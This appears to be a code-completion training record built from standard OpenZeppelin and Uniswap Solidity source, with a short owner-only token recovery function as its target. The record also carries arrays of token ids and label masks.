* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
|
@notice withdraws all underlying BMIs to the owner
|
function recoverTokens() external onlyOwner {
uint256 balance = bmiToken.balanceOf(address(this));
bmiToken.transfer(_msgSender(), balance);
emit TokensRecovered(_msgSender(), balance);
}
| 5,815,141 |
[
1,
1918,
9446,
87,
777,
6808,
605,
49,
2520,
358,
326,
3410,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
5910,
5157,
1435,
3903,
1338,
5541,
288,
203,
3639,
2254,
5034,
11013,
273,
324,
9197,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
324,
9197,
1345,
18,
13866,
24899,
3576,
12021,
9334,
11013,
1769,
203,
203,
3639,
3626,
13899,
426,
16810,
24899,
3576,
12021,
9334,
11013,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-25
*/
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
